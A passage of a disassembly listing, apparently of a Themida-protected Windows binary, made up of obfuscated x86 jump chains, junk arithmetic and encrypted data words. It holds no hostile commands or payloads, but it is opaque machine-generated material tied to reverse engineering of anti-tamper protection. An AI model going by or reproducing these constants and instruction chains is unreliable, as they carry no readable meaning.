8324348Bh dd 3C8704C4h, 24248B24h, 0FF5608E9h, 0ABE951FFh, 81000009h dd 0ECB269C5h, 5DE929C5h, 0FCC1815Dh, 0E97E745Eh, 0FFFED09Ch ; --------------------------------------------------------------------------- loc_572F88: ; CODE XREF: Themida_:005738F5j mov ebx, 45182683h dec ebx dec ebx sub ebx, 358B3C74h sub ebx, 49FC68F7h add ebx, 0B6889677h or eax, ebx jmp loc_57067D ; --------------------------------------------------------------------------- dd 0D2DAE956h, 0E781FFFFh, 25FF5C42h, 801CF81h, 0BB533BDFh dd 1F72265Fh, 21EB8143h, 29DF731Ah, 0FE015BDFh, 81243C8Bh dd 4C4h, 24343300h, 33243431h, 295C2434h, 0E99C2404h, 0FFFECFB7h dd 0C281CA01h, 1EFD099Bh, 81240C8Bh, 4C4h, 0DAE95200h dd 68FFFF59h, 350E0E94h, 11F6815Eh, 89679839h, 0FFE95EF7h dd 33FFFF00h, 248B240Ch, 0E6EDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57301E: ; CODE XREF: Themida_:0056F8D4j mov edi, 757B74C4h xor [esp+4], edi pop edi push dword ptr [esp] pop eax add esp, 4 push edx mov edx, 422736BEh or edx, 51CD02EAh xor edx, 55F16EE9h push edi push ebx mov ebx, 1556429Fh neg ebx push edx mov edx, 2A680802h jmp loc_56E9F6 ; --------------------------------------------------------------------------- db 0BAh, 0A5h, 59h dd 0B9513E0Fh, 10E219E5h, 8159CA09h, 1E915C2h, 1AFC05FCh dd 0BE567A02h, 42A649D4h, 295EF029h, 49D405D0h, 0FC2D42A6h dd 8B7A021Ah, 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 243C8B5Ch, 4C481h, 0C7E90000h, 5BFFFF04h, 240C8B66h dd 6602C483h, 6668FD68h, 0B1240C89h, 66C8283Ah, 3D286859h dd 14890000h, 72685024h, 8900003Ch, 0B151241Ch, 0FED9F68Ah dd 0E9E4E9C9h, 8159FFFFh, 7F2A3BC7h, 0E9D7010Bh, 0FFFF28FAh dd 243C895Ch, 55525F54h, 4BE56h, 0F5890000h, 0FF0FEEE9h dd 4DC581FFh, 5EA1203h, 7895591Ch, 1C2DE829h, 5D789559h dd 0BD55E829h, 29D72F67h, 8105E5C1h, 0C55563F5h, 0EDC14507h dd 0E8C58106h, 11C1BDCh, 5CE0E9E8h, 3489FFFFh, 3BE95324h dd 0BDFFFFBFh, 2D8A0639h, 4506E5C1h, 5DE1ED81h, 0E9565B74h dd 0FFFFC981h, 0E952E689h, 0FFFFBD11h, 0E924248Bh, 0FFFF4185h dd 0E7E9DD29h, 81FFFEF2h, 4ECh, 240C8900h, 4B9h, 59CD0100h dd 57DFE952h, 481FFFFh, 424h, 1DE95800h, 4FFFF51h, 3949683Ah dd 0C890000h, 169FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_57319A: ; CODE XREF: Themida_:00572D7Ej add edx, ebx push esi mov esi, 7D53D85h push esi not dword ptr [esp] pop esi not esi xor esi, 28B3415Fh sub esi, 36C95550h sub esi, 0CE50D3E6h sub edx, esi mov esi, [esp] add esp, 4 pop ebx sub edx, eax sub esp, 4 mov [esp], esi jmp loc_572E00 ; --------------------------------------------------------------------------- db 29h dd 5BDE89F3h, 2D55E953h, 0EEC1FFFFh, 2D526805h, 0C890000h dd 0BF51E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5731F2: ; CODE XREF: Themida_:00561028j pop eax pop ebx jmp loc_573909 ; --------------------------------------------------------------------------- loc_5731F9: ; CODE XREF: Themida_:00564A0Ej sub esp, 4 mov [esp], ecx mov cl, 47h xor cl, 46h sub bl, 0E2h add bl, cl jmp loc_562A4A ; --------------------------------------------------------------------------- loc_573211: ; CODE XREF: Themida_:0056A176j add ebp, 4 jmp loc_570C89 ; --------------------------------------------------------------------------- loc_57321C: ; CODE XREF: Themida_:005736DDj mov [esp], eax mov eax, 0 push ecx mov ecx, 38FA1772h or ecx, 481D3BA9h xchg edi, ecx dec edi xchg edi, ecx add ecx, 0ADFACBABh sub eax, ecx pop ecx add eax, ebx add eax, 26FA0BA5h mov ecx, [eax] mov eax, [esp] add esp, 4 jmp loc_567D42 ; --------------------------------------------------------------------------- loc_573252: ; CODE XREF: Themida_:00568B20j sub dword ptr [esp], 48C03077h push dword ptr [esp] pop esi add esp, 4 jmp loc_56567A ; --------------------------------------------------------------------------- loc_573265: ; CODE XREF: Themida_:00563C29j add ecx, 20F30807h jmp loc_564480 ; --------------------------------------------------------------------------- loc_573270: ; CODE XREF: Themida_:00571B60j xor esi, 0B5081C55h xor edi, esi jmp loc_574CE8 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4BE5600h, 29000000h, 0EC835EF2h, 24148904h, 42474FFh dd 8324148Bh, 48F04C4h, 4895C24h, 0E9585424h, 0FFFF548Bh ; --------------------------------------------------------------------------- loc_5732AC: ; CODE XREF: Themida_:005620B2j push eax mov eax, esp add eax, 4 push edi mov edi, 525529EBh not edi neg edi shr edi, 1 xor edi, 292A94F2h sub eax, edi pop edi jmp loc_56124A ; --------------------------------------------------------------------------- dw 0C483h dd 246C8104h, 2D13C504h, 246C292Eh, 24448104h, 2D13C504h dd 2434FF2Eh, 0FF96F7E9h, 0E3B551FFh, 308DC580h, 240C8BEEh dd 0D004C483h, 0B7EE80EEh, 6BE9172Ch, 51FFFF21h, 43127B68h dd 0C181594Bh, 1B9967B2h, 8959CB89h, 0FE0EE9DEh, 0EB81FFFEh dd 8DC897C7h, 565BDD01h, 0FFE380E9h, 0C4835EFFh, 97E95504h db 13h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573337: ; CODE XREF: Themida_:0056D7F6j mov [esp], esi not dword ptr [esp] jmp loc_561E82 ; --------------------------------------------------------------------------- dw 0DBF7h dd 0FF2B34E9h, 81D329FFh, 0B77967C3h, 0D5EB8159h, 522E3322h dd 3D0404BAh, 0E9D2F70Ch, 0FFFFE783h ; --------------------------------------------------------------------------- loc_573364: ; CODE XREF: Themida_:00572CFBj mov [esp], ecx sub esp, 4 jmp loc_568B5A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 36E36800h, 0C890000h, 2B924h, 0CF010000h, 74FF5759h dd 8F5F0424h, 248B2404h, 0C8B6624h, 43E95324h, 31FFFFD9h dd 3C33243Ch, 24248B24h, 4EC81h, 0A7E90000h, 5BFFFFC0h dd 12D4EF81h, 0CF017982h, 12D4C781h, 56597982h, 56D72BEh dd 28E6E96Ah, 0BD55FFFFh, 416E25F6h, 0ED81D5F7h, 23E51265h dd 1936E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5733DE: ; CODE XREF: Themida_:0057068Ej mov esi, 3EDD43F8h jmp loc_564D17 ; --------------------------------------------------------------------------- dd 4C781h, 3C870000h, 89535C24h, 4C381E3h, 83000000h, 1C8704C3h dd 0C3305C24h, 0E9C0B60Fh, 0FFFFCF88h, 0E9243C8Bh, 0FFFEEA1Bh dd 265B02BBh, 245C292Ch, 241C8B04h, 0E904C483h, 0FFFF42BAh dd 0E901C683h, 0FFFF6474h, 2C28159h, 52000000h, 42474FFh dd 0FF0715E9h db 0FFh ; --------------------------------------------------------------------------- loc_573441: ; CODE XREF: Themida_:005705E8j sub bh, 0A0h pop ecx jmp loc_572746 ; --------------------------------------------------------------------------- dw 0F101h dd 547BE56h, 0F1294873h, 0FFF8E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_573459: ; CODE XREF: Themida_:00560002j and eax, 1BB05FCAh shl eax, 6 dec eax dec eax xchg eax, esi not esi xchg eax, esi jmp loc_56B761 ; --------------------------------------------------------------------------- loc_57346C: ; CODE XREF: Themida_:0056C55Cj push esi mov esi, 2000000h push 544Fh jmp loc_56134D ; --------------------------------------------------------------------------- loc_57347C: ; CODE XREF: Themida_:00571006j add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_574315 ; --------------------------------------------------------------------------- db 88h, 0D8h, 88h dd 0CB8858C6h, 0E3E9F188h, 83FFFF91h, 22E904C4h db 3Fh, 2 dup(0FFh) byte_5734A7 db 0ADh ; DATA XREF: Themida_:0055FE20o dd 1D426857h, 0D1E92158h db 0D6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5734B3: ; CODE XREF: Themida_:00565655j pop esi jmp loc_5675EF ; --------------------------------------------------------------------------- loc_5734B9: ; CODE XREF: Themida_:0056E1B3j sub edi, eax pop eax jmp loc_570B84 ; --------------------------------------------------------------------------- loc_5734C1: ; CODE XREF: Themida_:0056478Fj pop esp mov [esp], ebx mov ebx, 40000h push ebx push edx mov edx, 59673A05h sub dword ptr [esp+4], 6EF6571Ch sub [esp+4], edx add dword ptr [esp+4], 6EF6571Ch mov edx, [esp] add esp, 4 pop edx push ebp mov ebp, 31ED214Ah dec ebp jmp loc_567636 ; --------------------------------------------------------------------------- loc_5734FB: ; CODE XREF: Themida_:00568E28j mov edi, [esp] add esp, 4 xor esi, [esp] jmp loc_5639CA ; --------------------------------------------------------------------------- byte_573509 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FCC0o dd 24E95224h, 81FFFFDFh, 27507BF6h, 0F28952FAh, 8B5A5952h dd 0C4832434h, 0E9C82904h, 0FFFFEF36h, 8043FB68h, 24148B52h dd 4C481h, 0DAF70000h, 6B85BB53h, 0F381117Bh, 6D0A1B19h dd 0FF3807E9h db 0FFh ; --------------------------------------------------------------------------- loc_57354D: ; CODE XREF: Themida_:0057501Aj sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] push ebp jmp loc_565008 ; --------------------------------------------------------------------------- db 80h, 0E9h, 0B6h dd 0FFAFEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_573569: ; CODE XREF: Themida_:005606FEj xchg edx, [esp] pop esp xor dl, 0F8h add dl, 3Dh xor al, dl push dword ptr [esp] jmp loc_569568 ; --------------------------------------------------------------------------- loc_57357D: ; CODE XREF: Themida_:00574DA7j pop ebx add esp, 4 add esp, 4 push edi mov edi, 4F6411B7h add ebx, 69AC6D37h sub ebx, edi push eax mov eax, 69AC6D37h jmp loc_56D2AB ; --------------------------------------------------------------------------- dd 0EC513FB8h, 0BE9EE91Bh, 8155FFFFh, 0CBD2434h, 815E0B84h dd 840CBDF6h, 51565D0Bh, 240C8B5Eh, 0E904C483h, 0FFFF1BD5h ; --------------------------------------------------------------------------- loc_5735C8: ; CODE XREF: Themida_:00573982j neg ecx xor ecx, 0B392C3B8h mov esi, ecx pop ecx sub edx, esi jmp loc_573C6B ; --------------------------------------------------------------------------- dw 0C381h dd 32D5673Dh, 8108EBC1h, 6EF3D3F3h, 0AEE6E940h, 0EE81FFFFh dd 589D1F27h, 0FFC87DE9h, 29E959FFh db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5735FF: ; CODE XREF: Themida_:00560940j mov [esp], eax jmp loc_56410B ; --------------------------------------------------------------------------- loc_573607: ; CODE XREF: Themida_:00562B4Bj push edx mov edx, 5934AC8Ch jmp loc_564C1F ; --------------------------------------------------------------------------- word_573612 dw 8B66h ; DATA XREF: Themida_:0055FCE4o dd 5453240Ch, 0E9241C8Bh, 0FFFF9104h, 0BF57D801h, 5D4E41B4h dd 6F03F781h, 0F82907EDh, 4875B5Fh, 24248B24h, 24042966h dd 0C95DE99Ch, 0CE81FFFEh, 62EB45D5h, 8AAF681h, 0C6817DA7h dd 42075947h, 0FFFB89E9h, 2434FFFFh, 8D80E95Ah, 0AC05FFFFh dd 2D0CB612h, 17C657AFh, 24348B5Fh, 6804C483h, 6BE5h, 0FF1A7FE9h dd 0E9E9F6FFh, 0FFFF0F52h, 3BCCBF57h, 0EF810E37h, 76314A9Ch dd 241CF757h, 56243C8Bh, 29E9E689h db 0DFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57369F: ; CODE XREF: Themida_:00565F32j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or edx, eax shl edx, 1 push 263Bh jmp loc_564082 ; --------------------------------------------------------------------------- db 89h dd 6E9241Ch db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5736C7: ; CODE XREF: Themida_:0056F8C4j add ebx, 262772EAh push edx push 21EC78BAh pop edx add ebx, edx pop edx sub esp, 4 jmp loc_57321C ; --------------------------------------------------------------------------- dw 0C301h dd 0E9525558h, 0FFFFC5C9h ; --------------------------------------------------------------------------- loc_5736EC: ; CODE XREF: Themida_:005727B8j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_567049 ; --------------------------------------------------------------------------- dw 0BD55h dd 57130F65h, 760DE581h, 0BE560C48h, 0F749F359h, 295EF529h dd 0CD6BE9E8h, 0C581FFFFh, 534F4A02h, 2158ED81h, 5F5E2723h dd 8B242C87h, 0F662424h, 9C2404B3h, 0FEC86AE9h db 0FFh ; --------------------------------------------------------------------------- loc_573735: ; CODE XREF: Themida_:00563892j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp or eax, eax jz loc_56CE6D push dword ptr [edi+1Ch] push ebp mov ebp, 69B11F7Ah add [esp+4], ebp pop ebp mov ecx, [esp] add esp, 4 jmp loc_561332 ; --------------------------------------------------------------------------- db 1 dd 0CE8159CEh, 17F55A8Dh, 79BB5351h, 81197D4Eh, 8573DEEBh dd 8DC2E981h, 0EC81FFFFh, 4, 0BF243C89h, 88073D3Bh, 3C8BFA29h dd 4C48124h, 0E9000000h, 159Ch, 633BE958h, 0C481FFFFh dd 4, 335EF701h, 3C31243Ch, 243C3324h, 0FFA2BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5737B9: ; CODE XREF: Themida_:005644B1j push dword ptr [esp] jmp loc_572B8E ; --------------------------------------------------------------------------- loc_5737C1: ; CODE XREF: Themida_:005612B5j pop edi add ebx, 6FD86E81h add ebx, eax sub ebx, 6FD86E81h jmp loc_566EF8 ; --------------------------------------------------------------------------- loc_5737D5: ; CODE XREF: Themida_:0057510Bj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5678F4 ; --------------------------------------------------------------------------- loc_5737EB: ; CODE XREF: Themida_:00561419j mov ebp, 19CB674Fh xor ebp, 68CC7BCEh jmp loc_5629C7 ; --------------------------------------------------------------------------- db 51h dd 0FF7A10E9h db 0FFh ; --------------------------------------------------------------------------- loc_573801: ; CODE XREF: Themida_:00566E6Aj mov ecx, 0EC9F145Bh add edx, ecx jmp loc_5653F6 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 8F3A6CEAh, 2C78131h, 296CDD7Fh, 2EF81D7h dd 5A6CDD7Fh, 41D9C781h, 96E93365h, 5EFFFEDFh, 4C681h dd 0E9560000h, 0FFFF78BEh, 7E4068h, 240C8900h, 0FC5360B9h dd 70C581DEh, 81313518h, 6972E6EDh, 81CD2918h, 6972E6C5h dd 70ED8118h, 0E9313518h, 0FFFF1ADAh, 64464E2Dh, 6220E991h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573876: ; CODE XREF: Themida_:00562E0Aj push ebx jmp loc_56AF28 ; --------------------------------------------------------------------------- loc_57387C: ; CODE XREF: Themida_:005657E5j mov [esp], ecx mov ch, 0Bh xor ch, 0AAh push ebx jmp loc_569D40 ; --------------------------------------------------------------------------- dw 8166h dd 66472AEAh, 0B0E9C229h, 5FFFFF2Fh, 0FF6BA8E9h, 24048BFFh dd 4C481h, 0E95A0000h, 0FFFF2B61h, 5C24048Fh, 81E68956h dd 4C6h, 4EC8100h, 89000000h, 4BA2414h, 81000000h, 0B715B1C6h dd 0D2CEE951h, 665CFFFEh, 8124048Bh, 4ECh, 242C8900h, 4EC81h dd 24890000h, 4EC8124h, 0E9000000h, 0FFFEF1A6h ; --------------------------------------------------------------------------- loc_5738F4: ; CODE XREF: Themida_:0056F77Dj push ebx jmp loc_572F88 ; --------------------------------------------------------------------------- word_5738FA dw 77FFh ; DATA XREF: Themida_:0055FD74o dd 59669D1Ch, 9C2414D2h, 0FEC696E9h db 0FFh ; --------------------------------------------------------------------------- loc_573909: ; CODE XREF: Themida_:005731F4j mov edi, [esp] jmp loc_564771 ; --------------------------------------------------------------------------- db 5Eh, 83h, 0EBh dd 241C8704h, 23BDE95Ch, 0E950FFFFh, 0FFFF4400h, 0E7895758h dd 4C781h, 0C7830000h, 243C8704h, 0FFB3A3E9h, 0C661E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57393E: ; CODE XREF: Themida_:0056E72Bj add edx, ecx jmp loc_5745F2 ; --------------------------------------------------------------------------- db 66h, 9, 4 dd 50E99C24h, 66FFFEC6h, 66244ABBh, 0EBC1664Bh, 0E7C7E907h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57395E: ; CODE XREF: Themida_:0056E1C1j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 or edx, 33E404BDh or edx, 35A51C58h dec edx push esi push ecx mov ecx, 16B87D9Eh jmp loc_5735C8 ; --------------------------------------------------------------------------- db 53h dd 0FF99FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_57398D: ; CODE XREF: Themida_:0056EBDBj pop ebx and edx, 7F4947C0h sub edx, 25427C70h not edx push 4272h mov [esp], edi jmp loc_572725 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E9242489h, 0FFFF31C5h, 8924248Bh, 0EABD242Ch, 0C171A45Ah dd 0ED8105EDh, 38D22D3h, 1B11E981h, 0E9015256h, 0FF52FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5739D5: ; CODE XREF: Themida_:0056636Dj mov esi, [esp] add esp, 4 sub ebp, ebx jmp loc_568275 ; --------------------------------------------------------------------------- word_5739E2 dw 77FFh ; DATA XREF: Themida_:0055FD7Co dd 59669D1Ch, 9C241CD2h, 0FEC5AEE9h, 81DAF7FFh, 9530D2CAh dd 76F2810Fh, 818213FDh, 105F79E9h, 0E9D10113h, 0FFFFA50Ah dd 23F068h, 974CE900h, 5868FFFFh, 5B13E54Eh, 0FFFFBD55h dd 0EB01FFFFh, 0A1BF575Dh, 811D1939h, 3C7B13E7h, 51E3E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573A36: ; CODE XREF: Themida_:0056832Fj push ecx mov ecx, 5DC17F73h jmp loc_572BBF ; --------------------------------------------------------------------------- db 66h, 2Dh, 7Fh dd 0EA81661Eh, 3BE95633h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573A4F: ; CODE XREF: Themida_:005727F4j mov edi, 0F367C1C4h xor ebp, edi jmp loc_568256 ; --------------------------------------------------------------------------- db 59h dd 81FFC383h, 0F299F8C3h, 70B951D3h, 0F765A752h, 0CB2AE9D1h dd 815FFFFFh, 4C4h, 95E95100h db 0D3h, 2 dup(0FFh) byte_573A7F db 0ADh ; DATA XREF: Themida_:0055FD3Co dd 0D715BA2Dh, 34DD6836h, 0B2E90000h db 0F6h, 0FEh, 0FFh byte_573A8F db 0FFh ; DATA XREF: Themida_:0055FF14o dd 589D1C77h, 9C240419h, 0FFC0A6E9h, 0A0B951FFh, 0E90DBE21h dd 0FFFFDFEDh ; --------------------------------------------------------------------------- loc_573AA8: ; CODE XREF: Themida_:0056C4FAj pop edx sub esi, 93358485h xor esi, 3E15082Fh mov eax, esi pop esi add ebp, eax jmp loc_56C824 ; --------------------------------------------------------------------------- db 0D1h dd 385E9E6h, 8C680000h, 89000037h, 0BA52242Ch, 4FCD155Ah dd 66EEB951h, 0E9814112h, 33E708ECh, 0F181D1F7h, 72603186h dd 459CF181h, 0E1C17813h, 47C18103h, 9916A7Dh, 240C8BCAh dd 5704C483h, 0B81C25BFh, 4FD7F754h, 0B483F781h, 0FA098C48h dd 0D7C2815Fh, 89FFFDABh, 24148BD5h, 4C481h, 0FFE90000h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573B27: ; CODE XREF: Themida_:0056CB50j push ebx mov ebx, esp jmp loc_56C0F3 ; --------------------------------------------------------------------------- loc_573B2F: ; CODE XREF: Themida_:0056AC52j add esi, ebp pop ebp add edx, 32C634C1h add edx, esi sub edx, 32C634C1h pop esi sub esp, 4 jmp loc_56361A ; --------------------------------------------------------------------------- db 53h, 0BBh, 78h dd 0E94D3D46h, 0FFFF258Dh, 0B3241C89h, 0DDC38006h, 0DA885266h dd 0F6D38853h, 0E95250D3h, 0FFFF7008h ; --------------------------------------------------------------------------- loc_573B6C: ; CODE XREF: Themida_:0056CDF9j xor ebx, [esp] jmp loc_56CE1F ; --------------------------------------------------------------------------- loc_573B74: ; CODE XREF: Themida_:005609A7j sub edx, ebx pop ebx push ebx jmp loc_5712E2 ; --------------------------------------------------------------------------- db 88h, 0E2h, 58h dd 8B871488h, 0C4832414h, 2434FF04h, 0EC81535Bh, 4, 53242489h dd 4BBh, 245C0100h, 36E95B04h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573BA7: ; CODE XREF: Themida_:0056A996j mov eax, 602136B5h xor eax, 25A105FBh and eax, 1E286968h shr eax, 8 neg eax sub eax, 5757710Ah sub eax, 0A8A48ED1h add ebp, eax push dword ptr [esp] pop eax add esp, 4 push eax mov eax, 4 add ebp, eax pop eax push ebp jmp loc_56A4E2 ; --------------------------------------------------------------------------- loc_573BDD: ; CODE XREF: Themida_:00569B48j pop esi add ebp, 4 xchg ebp, [esp] jmp loc_56BDB1 ; --------------------------------------------------------------------------- dd 56241C8Bh, 2468E689h, 89000048h, 0B6B9240Ch, 8111C613h dd 863032C1h, 4E91E92Ch, 75B3FFFFh, 88E9FD04h, 81FFFF0Fh dd 0D8042444h, 0E963DB75h, 5A1h ; --------------------------------------------------------------------------- loc_573C20: ; CODE XREF: Themida_:0056642Cj sub esi, 34D0C3B2h jmp loc_562017 ; --------------------------------------------------------------------------- db 8Bh dd 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 4C5815Ch dd 55000000h, 42474FFh, 24048F5Dh, 8124248Bh, 4C5h, 9F3FE900h dd 8966FFFFh, 0B8662404h, 97E924D1h db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573C6B: ; CODE XREF: Themida_:005735D5j mov esi, [esp] add esp, 4 shl edx, 7 xor edx, 950E9204h add eax, edx jmp loc_570129 ; --------------------------------------------------------------------------- dd 0B7559F68h, 0D9295B16h, 0E9018B5Bh, 0FFFFB670h, 9C243CD3h dd 0FEC302E9h, 0BEE948FFh, 80FFFF0Ah, 5266A1E7h, 9FE95366h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573CAF: ; CODE XREF: Themida_:00567AA8j inc ebp add ebp, 26D9155h jmp loc_56E2A6 ; --------------------------------------------------------------------------- db 89h dd 0DCE9240Ch db 0C2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_573CC3: ; CODE XREF: Themida_:0056B5DBj not ch sub esp, 2 jmp loc_5681BD ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 8 dd 6E85F181h, 0D9F757ABh, 7459F181h, 0CB018EEEh, 0FFE630E9h dd 4BF57FFh, 29000000h, 34875FFEh, 89E95C24h db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573CF7: ; CODE XREF: Themida_:00563EA5j mov edi, 5F664342h push ebp mov ebp, 77AE047Dh jmp loc_56878A ; --------------------------------------------------------------------------- loc_573D07: ; CODE XREF: Themida_:0056B132j add ecx, edx jmp loc_56424E ; --------------------------------------------------------------------------- loc_573D0E: ; CODE XREF: Themida_:00569595j mov edx, 983B2021h mov ecx, edx mov edx, [esp] add esp, 4 sub ecx, 7FF950FDh jmp loc_5693C4 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0E9h dd 0FFFF0802h ; --------------------------------------------------------------------------- loc_573D30: ; CODE XREF: Themida_:0056F2EBj mov edx, 76CF2AD7h shr edx, 3 inc edx inc edx add edx, 4B6A3C13h mov ebp, edx pop edx sub ebp, 5A44216Bh sub ebx, 502F1CDEh sub ebx, 1D4275CDh sub ebx, 499E6BF9h jmp loc_56F26D ; --------------------------------------------------------------------------- dd 0BA241489h, 4, 3101E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573D6E: ; CODE XREF: Themida_:00568DADj xchg ebp, [esp] mov esp, [esp] jmp loc_56A8C2 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 6 dd 51FFFF8Dh, 0C181E189h, 4, 0E904E983h, 0FFFF5180h dword_573D90 dd 0E9028F64h, 0FFFEC207h, 3BA5257h, 4A760F5Fh, 0FAC2EA81h ; DATA XREF: Themida_:0055FE00o dd 0D7896959h, 8BFD295Ah, 0C481243Ch, 4, 21296858h, 2C890000h dd 2474FF24h, 48F5D04h, 83EFE924h, 565DFFFFh, 1BEh, 5EF00100h dd 627E222Dh, 8C4E2D74h, 5E508CB0h, 5124048Bh, 0FF2FB6E9h dd 81D301FFh, 52660DEBh, 0BEE95A3Eh, 5800000Ch, 8359C809h dd 8C25FFC0h, 2D17D239h, 1, 0CDBD5551h, 0B94FD731h, 0C55FD508h dd 15DE901h, 0FA24E9C8h, 5854FFFEh, 1161E9h, 81D73100h dd 5D70C6C7h, 27EF8123h, 813501E3h, 6729C1EDh, 81FD2973h dd 6729C1C5h, 0EF015F73h, 0A0E9575Dh, 81FFFF88h, 0D00DEC6h dd 0E9F50172h, 0FFFF727Ch, 8BD0005Ch, 0C4832414h, 0D38E904h dd 81580000h, 0DC1E3ECBh, 2DF38177h, 8768804Eh, 0E9D1F7CBh dd 0FFFF0B69h ; --------------------------------------------------------------------------- loc_573E7C: ; CODE XREF: Themida_:00560D11j add esp, 4 and eax, edx push dword ptr [esp] mov edx, [esp] sub esp, 4 mov [esp], eax jmp loc_56FEF4 ; --------------------------------------------------------------------------- loc_573E92: ; CODE XREF: Themida_:0056AED9j xor ebp, [esp] pop esp add esp, 4 jmp loc_570135 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 592434FFh, 0FFA30BE9h, 48F5CFFh, 0D600E924h, 5550FFFEh dd 621E44BDh, 0BF575217h, 65C056D3h, 0FF19BDE9h, 3EE957FFh db 0C5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_573ECF: ; CODE XREF: Themida_:005626FEj pop ebx sub ebx, 0A265D2Ah sub ebx, edx add ebx, 0A265D2Ah pop edx jmp loc_56EF77 ; --------------------------------------------------------------------------- dd 7422EF81h, 0F7014FE1h, 7422C781h, 0EF814FE1h, 2E0F2F9Eh dd 41D9EF81h, 0C7813365h, 2990437Bh, 0FF5869E9h, 4E0C1FFh dd 0A5BA5240h, 8129B729h, 0C8262FEAh, 18EA8136h, 0C178C102h dd 87E908E2h, 8B000010h, 0C481240Ch, 4, 4EC81h, 3C890000h dd 0CABD5524h, 8165491Eh, 6C57A3C5h, 0DE53E946h, 0C531FFFEh dd 5DEA3158h, 0FFEE11E9h, 59CF89FFh, 0AAC781h, 0DFF72353h dd 0E7C1D7F7h, 7568E905h, 1489FFFFh, 63CCE924h, 5159FFFFh dd 392678B9h, 59C8293Fh, 7805E801h, 5D3F3926h, 0FED916E9h dd 1E981FFh, 81000000h, 1008B8E1h, 49E1D146h, 0FEFC44E9h db 0FFh ; --------------------------------------------------------------------------- loc_573F9D: ; CODE XREF: Themida_:0056CA56j push esi push ebx add dword ptr [esp], 5E357C1Eh jmp loc_560A03 ; --------------------------------------------------------------------------- loc_573FAB: ; CODE XREF: Themida_:005633A7j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_56175C ; --------------------------------------------------------------------------- dd 657DF00Dh, 50713538h, 0D2252C9Ch, 0E9057967h, 0FFFF7E2Bh dd 575BDF31h, 0F025F2BFh, 0C7814739h, 188969BEh, 0E952DFF7h dd 0FFFEDC59h ; --------------------------------------------------------------------------- loc_573FEC: ; CODE XREF: Themida_:0056773Aj add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_572988 ; --------------------------------------------------------------------------- dword_574000 dd 240C8B66h, 0E9E08950h, 0FFFF10D6h, 0F9242C80h, 8324148Ah ; DATA XREF: Themida_:0055FD9Co dd 7DE902C4h, 1FFFEE4h, 5822DE8h, 2C8B2970h, 4EC8324h dd 0FF3245E9h db 0FFh ; --------------------------------------------------------------------------- loc_57402D: ; CODE XREF: Themida_:0056FD0Aj add esp, 4 push edi jmp loc_57152D ; --------------------------------------------------------------------------- db 5Eh, 55h, 0BDh dd 4AAC2E92h, 0E95DEE29h, 0FFFF13DDh ; --------------------------------------------------------------------------- loc_574048: ; CODE XREF: Themida_:005612FBj add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 32E2h mov [esp], esi mov esi, 67395344h jmp loc_561541 ; --------------------------------------------------------------------------- aYbxa_bBa?txh db 'Yå€.B',0Bh,'í¿?tXh',0 align 4 dd 0AA240481h, 0E916887Ch, 5EAh ; --------------------------------------------------------------------------- loc_574088: ; CODE XREF: Themida_:0056EF83j add edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] or eax, eax jnz loc_562EEF push 1 push dword ptr [esp] pop edx jmp loc_5609EA ; --------------------------------------------------------------------------- dd 44A9E781h, 0C7817C5Fh, 2E470A77h, 0FF11B4E9h, 5DEE21FFh dd 5927C681h, 0EEC142D9h, 7FEE8103h, 0C1F712B8h, 4E4E05EEh dd 140168h, 24148900h, 1F6041BAh, 3AE2812Ch, 812EA31Fh dd 0CDF240C2h, 6115E9E1h db 2 dup(0FFh) word_5740F2 dw 8F66h ; DATA XREF: Themida_:0055FF54o dd 0BEA5E902h, 685DFFFEh, 296h, 0B9240C89h, 5DBD2155h dd 0FABFE981h, 39E90770h db 0D7h, 2 dup(0FFh) byte_574113 db 66h ; DATA XREF: 